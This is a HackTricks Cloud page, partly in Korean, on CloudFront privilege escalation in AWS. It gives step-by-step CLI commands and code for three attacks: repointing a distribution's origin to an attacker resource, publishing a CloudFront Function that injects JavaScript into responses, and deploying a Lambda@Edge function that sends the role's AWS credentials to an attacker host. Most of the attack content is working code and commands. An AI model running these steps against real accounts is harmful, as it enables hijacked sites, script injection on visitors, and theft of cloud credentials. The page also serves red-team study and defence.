AWS - CloudFront Privesc
Reading time: 5 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
CloudFront
cloudfront:UpdateDistribution & cloudfront:GetDistributionConfig
cloudfront:UpdateDistribution 및 cloudfront:GetDistributionConfig 권한을 가진 공격자는 CloudFront 배포(distribution)의 구성을 수정할 수 있습니다. 공격자는 대상 S3 버킷 자체에 대한 권한이 필요하지 않지만, 해당 버킷에 cloudfront.amazonaws.com 서비스 주체(service principal)의 접근을 허용하는 관대한 정책이 설정되어 있으면 공격은 더 쉬워집니다.
공격자는 배포의 origin 구성을 다른 S3 버킷이나 공격자가 제어하는 서버로 가리키도록 변경합니다. 먼저 현재 배포 구성을 가져옵니다:
aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json
그런 다음 current-config.json을 편집하여 origin을 새 리소스로 가리키도록 합니다 — 예를 들어 다른 S3 버킷:
...
"Origins": {
"Quantity": 1,
"Items": [
{
"Id": "<origin-id>",
"DomainName": "<new-bucket>.s3.us-east-1.amazonaws.com",
"OriginPath": "",
"CustomHeaders": {
"Quantity": 0
},
"S3OriginConfig": {
"OriginAccessIdentity": "",
"OriginReadTimeout": 30
},
"ConnectionAttempts": 3,
"ConnectionTimeout": 10,
"OriginShield": {
"Enabled": false
},
"OriginAccessControlId": "E30N32Y4IBZ971"
}
]
},
...
마지막으로, 수정된 구성을 적용하세요 (업데이트할 때 현재 ETag를 제공해야 합니다):
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
aws cloudfront update-distribution \
--id <distribution-id> \
--distribution-config file://current-config.json \
--if-match $CURRENT_ETAG
cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction
An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
function handler(event) {
var request = event.request;
var response = event.response;
// Create a new body with malicious JavaScript
var maliciousBody = `
<!DOCTYPE html>
<html>
<head>
<title>Compromised Page</title>
</head>
<body>
<h1>Original Content</h1>
<p>This page has been modified by CloudFront Functions</p>
<script>
// Malicious JavaScript
alert('CloudFront Function Code Injection Successful!');
</script>
</body>
</html>
`;
// Replace the body entirely
response.body = { encoding: "text", data: maliciousBody };
// Update headers
response.headers["content-type"] = { value: "text/html; charset=utf-8" };
response.headers["content-length"] = {
value: maliciousBody.length.toString(),
};
response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
return response;
}
Commands to create, publish and attach the function:
# CloudFront에서 악성 함수 생성
aws cloudfront create-function --name malicious-function --function-config '{
"Comment": "Malicious CloudFront Function for Code Injection",
"Runtime": "cloudfront-js-1.0"
}' --function-code fileb://malicious-function.js
# DEVELOPMENT 단계에서 함수의 ETag 가져오기
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
# LIVE 단계로 함수 게시
aws cloudfront publish-function --name malicious-function --if-match <etag>
Add the function to the distribution configuration (FunctionAssociations):
"FunctionAssociations": {
"Quantity": 1,
"Items": [
{
"FunctionARN": "arn:aws:cloudfront::<account-id>:function/malicious-function",
"EventType": "viewer-response"
}
]
}
Finally update the distribution configuration (remember to supply the current ETag):
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
aws cloudfront update-distribution --id <distribution-id> --distribution-config file://current-config.json --if-match $CURRENT_ETAG
lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole & cloudfront:UpdateDistribution
An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
// malicious-lambda-edge.js
exports.handler = async (event) => {
// Obtain role credentials
const credentials = {
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
sessionToken: process.env.AWS_SESSION_TOKEN,
};
// Send credentials to attacker's server
try {
await fetch("https://<attacker-ip>/steal-credentials", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(credentials)
});
} catch (error) {
console.error("Error sending credentials:", error);
}
if (event.Records && event.Records[0] && event.Records[0].cf) {
// Modify response headers
const response = event.Records[0].cf.response;
response.headers["x-credential-theft"] = [
{
key: "X-Credential-Theft",
value: "Successful",
},
];
return response;
}
return {
statusCode: 200,
body: JSON.stringify({ message: "Credentials stolen" })
};
};
# Lambda@Edge 함수 패키지
zip malicious-lambda-edge.zip malicious-lambda-edge.js
# 특권 역할로 Lambda@Edge 함수 생성
aws lambda create-function \
--function-name malicious-lambda-edge \
--runtime nodejs18.x \
--role <privileged-role-arn> \
--handler malicious-lambda-edge.handler \
--zip-file fileb://malicious-lambda-edge.zip \
--region <region>
# 함수 버전 게시
aws lambda publish-version --function-name malicious-lambda-edge --region <region>
Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
"LambdaFunctionAssociations": {
"Quantity": 1,
"Items": [
{
"LambdaFunctionARN": "arn:aws:lambda:us-east-1:<account-id>:function:malicious-lambda-edge:1",
"EventType": "viewer-response",
"IncludeBody": false
}
]
}
# 업데이트된 distribution 구성 적용 (현재 ETag 사용 필요)
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
aws cloudfront update-distribution \
--id <distribution-id> \
--distribution-config file://current-config.json \
--if-match $CURRENT_ETAG
# 배포에 요청하여 function 트리거
curl -v https://<distribution-domain>.cloudfront.net/
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud